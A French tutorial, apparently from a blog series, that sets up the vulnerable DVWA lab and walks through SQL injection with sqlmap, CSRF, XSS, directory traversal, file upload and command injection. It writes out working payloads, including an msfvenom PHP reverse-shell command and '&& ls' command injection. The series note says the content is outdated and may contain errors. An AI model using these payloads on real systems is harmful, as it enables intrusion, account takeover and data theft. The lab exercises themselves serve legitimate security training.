NOTE Post Réécriture : Cet article, et bien d’autres, fait parti de la série “Script kiddie”. Il a été écrit il y a plusieurs années. Son contenu n’est pas à jour et il contient potentiellement des erreurs. Plus d’information sur la page de présentation de la série.
Puisque la pratique permet toujours un meilleur apprentissage, je vous propose de vous exercer à l’aide d’un site internet. Nous allons, ici, utiliser DVWA, mais d’autres alternatives existent.
Installez d’abord le serveur web XAMPP pour avoir tous les services web préinstallés. N’oubliez pas en lançant le service web de tuer les autres qui peuvent déjà être en fonction.
Puis, aller télécharger les fichiers à cette adresse : https://dvwa.co.uk/
Une fois cela fait, extrayez l’archive et copiez-la sur la racine du serveur web :
unzip DVWA-master.zip
mv DVWA-master /opt/lampp/htdocs/dvwa
Il va falloir configurer le logiciel, utilisez votre éditeur dans le fichier config.inc.php :
cd /opt/lampp/htdocs/dvwa/config
nano config.inc.php
Repérer les lignes suivantes dans le fichier :
$_DVWA = array();
$_DVWA[ 'db_server' ] = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ] = 'dvwa';
$_DVWA[ 'db_password' ] = 'p@ssw0rd';
$_DVWA[ 'db_port'] = '3306';
Modifiez les lignes « db_user » et « db_password » pour obtenir ceci :
$_DVWA[ 'db_user' ] = 'root';
$_DVWA[ 'db_password' ] = '';
Sauvegardez le fichier de configuration et rendez-vous ensuite sur le site suivant : http://localhost/dvwa.
Naviguez jusqu’au bas de la page et appuyez sur le bouton « Create / Reset Database ». Le site devrait vous demander des identifiants. Rentrez « admin » pour le nom d’utilisateur et « password » pour le mot de passe. Une fois la page d’accueil ouverte, allez dans l’onglet « DVWA Security » et mettez la à « Low » pour commencer.
Maintenant que votre laboratoire est créé, il est l’heure de commencer :)
Injection SQL
Les injections SQL sont un mode d’attaque Web qui vide à récupérer les informations d’une base de données ne nous appartenant pas. Si certains Hackers préfèrent les faire à la main, nous nous contenterons de voir le résultat automatisé avec sqlmap.
Les deux premières parties seront un récapitulatif du fonctionnement d’un serveur Web ainsi que la manière dont se déroulera le TP (il faut bien s’entraîner).
Fonctionnement d’un serveur Web
Les serveurs Web gèrent deux plans de travail, le côté client et le côté serveur. Les deux peuvent posséder de lourdes failles, mais ici, seul le côté serveur va nous intéresser.
Quand vous effectuez une requête sur un site, celui-ci utilise plusieurs langages de programmation :
- HTML, le langage informatique (et non de programmation) qui va décrire les éléments présents sur la page. C’est lui qui va permettre d’afficher des paragraphes ou des tableaux.
- CSS, autre langage informatique qui gère la mise en page. Il va donner le style des éléments présents, leur position ainsi que des animations.
- JavaScript, à ne pas confondre avec Java, il permet la gestion de code côté client. Pratique pour faire des animations plus puissantes, bien que le langage se soit complexifié avec des extensions comme React ou Node, il reste tout de même beaucoup plus utilisé pour la gestion du DOM (document object model)
- PHP, il s’agit du langage côté serveur le plus utilisé, bien qu’il ne soit pas apprécié par les nouvelles générations de développeurs. Il n’est pas très complexe, mais peut représenter un moyen très facile d’accès à la machine lorsqu’il est mal programmé.
- SQL, le langage qui possède la quasi-totalité des parts de marchés chez les gestionnaires de Base de donnée. Il va faire la liaison entre un code côté serveur (comme PHP) et la base de donnée à laquelle il est relié.
Il existe d’autres langages, mais ceux-ci demeurent moins démocratisés. Cependant, je vous recommande de vous intéresser à ces nouvelles technologies car le marché pourrait évoluer en leur faveur !
Ainsi, lorsque vous formulez votre demande à un serveur Web, si celui-ci possède PHP + SQL, alors la page sera chargée à l’aide de PHP qui ira chercher des informations (quand il en a besoin) dans la base de donnée avec SQL.
Injection avec sqlmap
Sqlmap est un logiciel qui permet l’automatisation des dites injections. Il va nous permettre en l’occurrence de récupérer le plus d’informations que possible à l’intérieur des bases de données. Nous nous baserons dans la suite de ce tutoriel sur l’onglet « SQL Injection » de DVWA.
Pour commencer :
python3 sqlmap.py -u http://localhost/index.php?id=4 --dbs
Cette commande va nous permettre de lister les bases présentes sur le serveur.
Quelques petites explications s’imposent :
Le programme se lance à l’aide de python (j’utilise la version 3, qui est à ce jour la plus récente). Le paramètre -u permet de rentrer une URL à inspecter et —dbs va ordonner à sqlmap de chercher les différentes bases de données.
Vous pouvez voir qu’à l’intérieur de l’URL, un paramètre PHP est donné (id). Ici, on lui assigne la valeur 4 mais ceci a peu d’importance. En revanche, vous allez être obligé de spécifier un paramètre d’URL que vous pensez être une faiblesse.
Comment savoir s’il y a une faille ? Rien de plus simple, est ce que quand vous modifier la valeur associer à ce paramètre dans l’URL, la page se trouve être changer ? Si c’est le cas, il y a de forte chance pour que la page face une requête SQL à l’aide de cette valeur (ou alors la page est changée avec une condition PHP).
Eh bien, il va falloir spécifier ce que vous pensez défaillants. S’il y en a plusieurs, séparez les d’un & comme dans les URL…
sqlmap devrait vous demander des informations supplémentaires au cours de son exécution, à vous de juger ce qui vous semble bon pour continuer :)
Ceci devrait renvoyer le nom des différentes bases :
available databases [12]:
[*] baseTweet
[*] chat
[*] hidden
[*] humanite
[*] information_schema
[*] injection_db
[*] mysql
[*] opentube
[*] parmisnous
[*] performance_schema
[*] phpmyadmin
[*] test
J’utilise quotidiennement mon serveur, donc rien d’étonnant à voir plus de bases de mon côté…
Après avoir obtenu le nom des différentes bases, il nous faut lister les différentes tables.
Sur MySQL, les tables sont des tableaux où sont regroupées les informations. Une base peut avoir plusieurs tables.
Lister les tables :
python3 sqlmap.py -u http://localhost/index.php?id=4 -D injection_db --tables
-D va permettre de dire dans quelle base regarder et --tables va spécifier que l’on souhaite obtenir les tables de cette base.
On obtient donc :
[1 table]
+--------------+
| user_details |
+--------------+
Ce qui veut dire que dans ma base injejection_db se trouve la table user_details.
On va dès à présent lister les colonnes présentes sur la table :
python3 sqlmap.py -u http://localhost/index.php?id=4 -T user_details --columns
-T dit que l’on cherche dans une table (ici user_details) et --columns spécifie que l’on veut récupérer les colonnes.
Les colonnes sont les différentes catégories de votre table et vont ici nous permettre de savoir quels genres d’informations sont stockées.
Vous devriez obtenir ceci :
Database: injection_db
Table: user_details
[7 columns]
+------------+--------------+
| Column | Type |
+------------+--------------+
| first_name | varchar(50) |
| gender | varchar(10) |
| last_name | varchar(50) |
| password | varchar(50) |
| status | tinyint(10) |
| user_id | int(11) |
| username | varchar(255) |
+------------+--------------+
On connaît dès à présent les différents types des différentes colonnes.
Explications :
- varchar : il s’agit d’une chaîne de caractère limiter en taille entre 1 et 255
- int : ce sont les nombres
- tinyint : des nombres mais plus petits en tailles. Attention, il ne faut pas confondre taille et grandeur du nombre. La taille signifie le nombre de caractères de long qu’il fait et la grandeur représente sa distance par apport à zéro.
- Text : Un texte pouvant être infini (tout de même limiter par le stockage de la machine, mais on reste assez large)
Cela peut paraître inutile, mais elles permettent d’avoir plus d’informations sur l’évolution que peut avoir la base. Vient ensuite le moment le plus intéressant, lister le contenu de la table :
python3 sqlmap.py -u http://localhost/index.php?id=4 -T user_details --dump
Il s’agit de la même commande que la précédente,
il faut juste remplacer --columns par --dump qui veut dire que l’on souhaite récupérer le contenu.
On peut ensuite se balader librement dans les données :
+---------+--------+--------+----------------------------------+---------------+-------------+-------------+
| user_id | gender | status | password | username | last_name | first_name |
+---------+--------+--------+----------------------------------+---------------+-------------+-------------+
| 1 | Female | 1 | e6a33eee180b07e563d74fee8c2c66b8 | rogers63 | john | david |
| 2 | Male | 1 | 2e7dc6b8a1598f4f75c3eaa47958ee2f | mike28 | paul | rogers |
| 3 | Male | 1 | 1c3a8e03f448d211904161a6f5849b68 | rivera92 | john | david |
| 4 | Male | 1 | 62f0a68a4179c5cdd997189760cbcf18 | ross95 | sanders | maria |
| 5 | Female | 1 | 61bd060b07bddfecccea56a82b850ecf | paul85 | miller | morris |
| 6 | Female | 1 | 7055b3d9f5cb2829c26cd7e0e601cde5 | smith34 | michael | daniel |
| 7 | Female | 1 | b7f72d6eb92b45458020748c8d1a3573 | james84 | paul | sanders |
...
Avec la méthode POST
Il est un peu plus compliqué d’injecter avec la requête POST. En effet, il va falloir préparer un fichier comportant l’ensemble des données qui peuvent être envoyées et que sqlmap va inspecter quels sont les paramètres injectables.
Pour ce faire, il faut juste remplir le formulaire et l’envoyer. Inspecter l’envoie de la requête dans l’inspecteur de Firefox (ou Chrome, Brave, Opera, etc.), dans l’onglet Network (Réseau), sélectionnez l’envoi POST qui est apparue puis afficher l’en-tête en mode texte (appuyez sur interrupteur raw à côté de Request Headers).
Faites un Copier coller dans un fichier texte et ajoutez-y les informations de la partie Request du sous menu de Network.
Celle-ci comprend les informations transmises avec la méthode POST. Copiez juste ce résultat à l’intérieur de votre fichier texte
Une fois votre beau fichier texte prêt, il est temps de le faire inspecter par sqlmap :
python3 sqlmap.py -r ~/postrequest.txt -p name
-r sert à rentrer le chemin vers votre fichier et -p décrit le ou les paramètres que vous pensez être vulnérables.
Sqlmap va donc tenter de trouver des failles qu’il vous renverra. Il les exploitera plus tard ou vous les offre pour que vous puissiez le faire manuellement.
On va ensuite se servir des vulnérabilités trouvées pour dire à sqlmap de les utiliser afin de retrouver la base de données :
python3 sqlmap.py -r ~/postrequest.txt --dbms mysql --current-db
--dbms nous permet de spécifier quel logiciel de bases de donnée est utilisé,
cela va nous permettre de gagner du temps.
Pour le trouver, la commande précédente vous la normalement donnée :
[INFO] the back-end DBMS is MySQL
--current-db ordonne à sqlmap de chercher la base de donnée auquel
le paramètre que nous avons donné précédemment est envoyé.
Elle nous est donnée ici :
current database: 'injection_db'
Le reste des commandes ne requiert pas plus d’explications. Il s’agit des mêmes qu’avec la méthode GET :
Récupérer les tables :
python3 sqlmap.py -r ~/postrequest.txt --dbms mysql -D injection_db --tables
Pour les colonnes :
python3 sqlmap.py -r ~/postrequest.txt --dbms mysql -T user_details --columns
Et enfin, les données :
python3 sqlmap.py -r ~/postrequest.txt --dbms mysql -T user_details --dump
Maintenant que vous savez utiliser sqlmap, je vous conseille de vous orienter vers une représentation concrète de l’attaque dans le chapitre sur le langage SQL.
Cross Site Request Forgery (CSRF)
L’attaque CSRF est très particulière tout simplement car elle révèle tout le côté social du hacker. En effet, avec la CSRF, il s’agit plus d’un jeu de manipulation que d’un véritable coup de génie.
Cette attaque consiste à fabriquer une URL exécutant une action sur la machine de la victime. Un exemple rapide et pas très dangereux pour comprendre, il existe une URL sur Google permettant de changer la langue de l’utilisateur. Ceci ne représente en rien un problème de sécurité, mais vous pouvez parfaitement changer la langue du moteur de recherche de quelqu’un en lui envoyant ce lien (rien de risqué, vous pouvez essayer) :
https://www.google.com/setprefs?sig=0_MpQ70NiX5Czvd-pT3S1Ts1HBr9g%3D&hl=ru&source=homepage&sa=X&ved=0ahUKEwjdleK7k_nyAhWvz4UKHYi8Ak0Q2ZgBCA4
L’exemple de DVWA est très pratique puisqu’il met en évidence une faille très importante : l’URL a la possibilité de modifier le mot de passe d’un utilisateur.
NOTE : Les mots de passe que vous allez changer sur la page se feront avec l’identifiant admin. Vous êtes en train de modifier le mot de passe de la page d’accueil de DVWA.
Si on essaye de changer le mot de passe par 1234, notre URL est changée en :
http://localhost/dvwa/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change
Appuyez sur le bouton « Test Credentials » pour essayer votre nouveau mot de passe avec l’identifiant admin. Normalement, cela devrait vous signaler un succès.
Reprenons l’URL de tout à l’heure et modifions-la un peu :
http://localhost/dvwa/vulnerabilities/csrf/?password_new=ent&password_conf=ent&Change=Change
Cette fois-ci, le mot de passe n’est plus 1234 mais « ent ». Nous n’avons pas rentré le mot de passe dans le champ prévu à cet effet sur la page, et l’avons directement fait dans l’URL. Si nous essayons de nous reconnecter sur la page « Test Credentials », rien à signaler, le mot de passe est bien « ent ».
L’URL a donc le pouvoir de modifier mon mot de passe en « ent » pour peu que je la rentre dans mon navigateur. Imaginez maintenant que vous êtes un utilisateur lambda d’un forum et que vous souhaitiez gagner l’accès au compte d’un modérateur. Si le mécanisme pour se connecter et le même, vous n’avez qu’à lui envoyer le lien permettant de modifier le mot de passe pour ensuite accéder à son compte.
Cette attaque est juste parfaite quand elle est couplée avec la suivante…
Cross Site Scripting (XSS)
L’attaque XSS, pour Cross site scripting (on met XSS et non CSS, car CSS est langage informatique servant à styliser les pages web), est une attaque qui vient impacter le client des victimes. Avec cette méthode, on va découvrir comment envoyer du code JavaScript au serveur pour qu’il puisse l’exécuter malicieusement sur le client de nos victimes.
Afin de commencer en douceur, prenez l’onglet « XSS (Reflected) » de DVWA. La page affiche alors un champ de texte où vous pouvez rentrer votre nom. Très vite après l’avoir fait, on remarque que l’URL est agrémentée d’une variable contenant le texte rentré : http://localhost/dvwa/vulnerabilities/xss_r/?name=bob
Notre cerveau de professionnel de la sécurité (je n’en doute pas) voit tout de suite qu’il y a une injection à faire. Si vous ne trouvez pas tout de suite la faille, ce n’est pas grave, la plus grande partie de votre temps sera plus tard de toutes façons mobilisée à chercher ces nombreuses failles et à essayer de les exploiter. Ici, on peut se dire que le code vient tout simplement coller le contenu de la variable sur la page. Pour vérifier notre hypothèse, essayons de modifier la requête :
http://localhost/dvwa/vulnerabilities/xss_r/?name=<i>bob</i>
On remarque que les balises <i></i> (qui servent à mettre un texte en italique) sont collés avec le texte,
ce qui produit un nom en italique côté client. Si mettre du texte en italique lorsque vous voulez
écrire votre prénom peut amuser la galerie cinq minutes,
je conçois que vous puissiez être intéressé par quelque chose de plus grandiose.
Commençons donc à écrire un script :
<script>alert("Vulnérabilité XSS détectée !");</script>
Collons de suite cette ligne à notre URL :
http://localhost/dvwa/vulnerabilities/xss_r/?name=bob<script>alert("Vulnérabilité XSS détectée !");</script>
Vous pouvez voir qu’une boîte de dialogue apparaît sur la page. Grâce à l’exécution de JavaScript, les possibilités de l’attaque XSS deviennent immenses. En plus des poncifs habituels (vol de cookie, vol d’identifiant), vous avez la possibilité de casser des sites avec une simplicité…
De plus, rappelez-vous ce que je vous ai dit dans la partie précédente sur la CSRF, l’attaque XSS va nous être utile. En effet, tout le côté ingénierie sociale qui rendait cette attaque compliquée (envoyer un lien est parfois très risqué) est ici annulée puisque vous avez la possibilité d’effectuer votre requête directement avec JavaScript. Par exemple, avec la vulnérabilité de DVWA, il n’y aurait qu’à taper cette ligne de code suivante :
<script>
location.href = "http://localhost/dvwa/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change";
</script>
Cependant, vos attaques XSS ne sont pas encore très performantes. Vous devez toujours envoyer l’URL à quelqu’un pour que son navigateur exécute le code malicieux. Jetons un œil sur l’onglet « XSS (stored) » de DVWA. En face de vous se trouve maintenant une page avec deux champs de texte, ressemblant à s’y méprendre à un espace commentaire.
Ici, le principe reste le même que précédemment, mais à la place de modifier l’URL, vous allez devoir rentrer votre code dans le champ de texte. Cette méthode est beaucoup plus pratique, car une fois le message posté, l’ensemble des personnes visitant la page exécuteront votre code, plus besoin de leur envoyer une obscure missive donc !
Pour ce qui concerne la partie « XSS (DOM) », celle-ci est un peu plus complexe car nécessitant des connaissances en JavaScript un peu plus poussées, je ne l’aborderai donc pas ici afin de ne pas vous perdre…
Autres types d’exploitation
Directory Traversal (File Inclusion)
Cette partie se fera sur l’onglet « File Inclusion » de DVWA. Tout de suite, vous remarquerez que l’URL présente une petite spécificité, le nom du fichier est passé dans une variable PHP : http://localhost/dvwa/vulnerabilities/fi/?page=include.php. Si l’on clique sur le bouton File1, l’URL se transforme mai garde toujours un nom de fichier en paramètre : http://localhost/dvwa/vulnerabilities/fi/?page=file1.php.
Quelle conclusion peut-on en tirer ? Que le nom du fichier qui sera ouvert est passé en variable dans l’URL (ici, page). Donc si l’on modifie ceci pour mettre un chemin de fichier pointant vers un fichier externe au dossier, celui-ci, si la faille est présente, devrait bien s’ouvrir et lire le contenu. Essayons de rentrer le chemin relatif de la page d’accueil de DVWA pour l’afficher :
http://localhost/dvwa/vulnerabilities/fi/?page=../../index.php
On rappelle la différence entre chemin relatif et absolu : le chemin absolu est un lien ne changeant pas peu importe le dossier dans lequel vous vous trouvez ; le chemin relatif dépend de l’endroit où vous vous trouvez sur votre pc.
Pour rappelle sur Linux :
./=> Ce dossier../=> Dossier parent~=> Dossier personnel
Donc si l’on veut récupérer le contenu de la page d’accueil de DVWA,
qui se situe dans le dossier parent au dossier parent de la page dans laquelle nous nous trouvons.
C’est le chemin ../../index.php qui nous permet d’y accéder.
Ce faisant, vous pouvez accéder à n’importe quelles ressources du serveur Web,
même celles qui sont d’habitude fermées aux utilisateurs lambda.
Téléversement de fichier
L’onglet File Upload de DVWA vous permet de téléverser un fichier. Le problème étant ici qu’aucune vérification n’est effectuée sur ledit fichier. Ainsi, à la place d’une photo, rien ne vous empêche de fabriquer un trojan avec Metasploit et de le téléverser :
msfvenom -p php/meterpreter/reverse_tcp LHOST=[ip] LPORT=[port] -o payload.php
Injection de commande
Il existe une fonction en PHP nommée shell_exex() qui permet au code d’exécuter une commande sur le serveur directement. Elle peut s’avérer très pratique pour certaines actions et rend bien service aux développeurs , mais elle vient avec son lot de failles. Que se passerait-il si quelqu’un arrivait à utiliser cette fonction et pouvait exécuter du code sur notre serveur ?
Si on jette un rapide coup d’œil au code de la page, on remarque tout de suite la faille qui devra être exploitée :
$cmd = shell_exec( 'ping -c 4 ' . $target );
Vous l’avez ? Si ce n’est pas le cas, je vous ferais remarquer que $target ne subit aucune vérification est que la variable est ajoutée directement à la fin de la commande. Quelle conclusion en tirer ? Il est très facile d’injecter n’importe quelle commande sur la machine.
Rappelez-vous, pour signaler la fin d’une commande sur Linux, on met un ; à la fin :
mkdir build ; cd build
ou alors un && pour enchaîner sur une autre commande :
mkdir build && cd build
Ces deux lignes sont exactement les mêmes (créer un dossier « build » et y aller).
Mais reprenons notre exemple, lorsque l’on rentre une IP, voilà à quoi ressemble notre commande :
ping -c 4 $target
Par exemple, avec l’IP 127.0.0.1 :
ping -c 4 127.0.0.1
On voit que $target vient prendre la valeur de ce que nous rentrons, mais le code ne possédant pas de vérification, sommes-nous obligés de rentrer qu’un IP ? La réponse est bien évidemment non, et c’est de là que provient la faille… Prenons un deuxième exemple, rentrez « 127.0.0.1 && ls », la commande devient :
ping -c 4 127.0.0.1 && ls
Le site nous renvoie le résultat suivant :
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.056 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.090 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.075 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.073 ms
--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3035ms
rtt min/avg/max/mdev = 0.056/0.073/0.090/0.012 ms
help
index.php
source
On a bien le résultat de la commande ping :
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.056 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.090 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.075 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.073 ms
--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3035ms
rtt min/avg/max/mdev = 0.056/0.073/0.090/0.012 ms
Et celui de ls :
help
index.php
source
Et ceci marche avec (presque) n’importe quelle commande. Bien sûr, l’intérêt n’est pas très grand si c’est pour lister le contenu du dossier dans lequel vous vous trouvez. Mais imaginez si vous aviez le moyen d’exécuter une commande permettant le contrôle total de la session… C’est ce que vous avez vu dans le tutoriel sur Metasploit !
Pour l’heure, essayez de bien comprendre ce que vous venez de lire. Essayez plusieurs commandes sur DVWA, et si vous vous sentez prêt, passez au niveau supérieur en changeant les paramètres dans l’onglet « DVWA security ». Je recommande un bon niveau en Linux pour continuer cependant.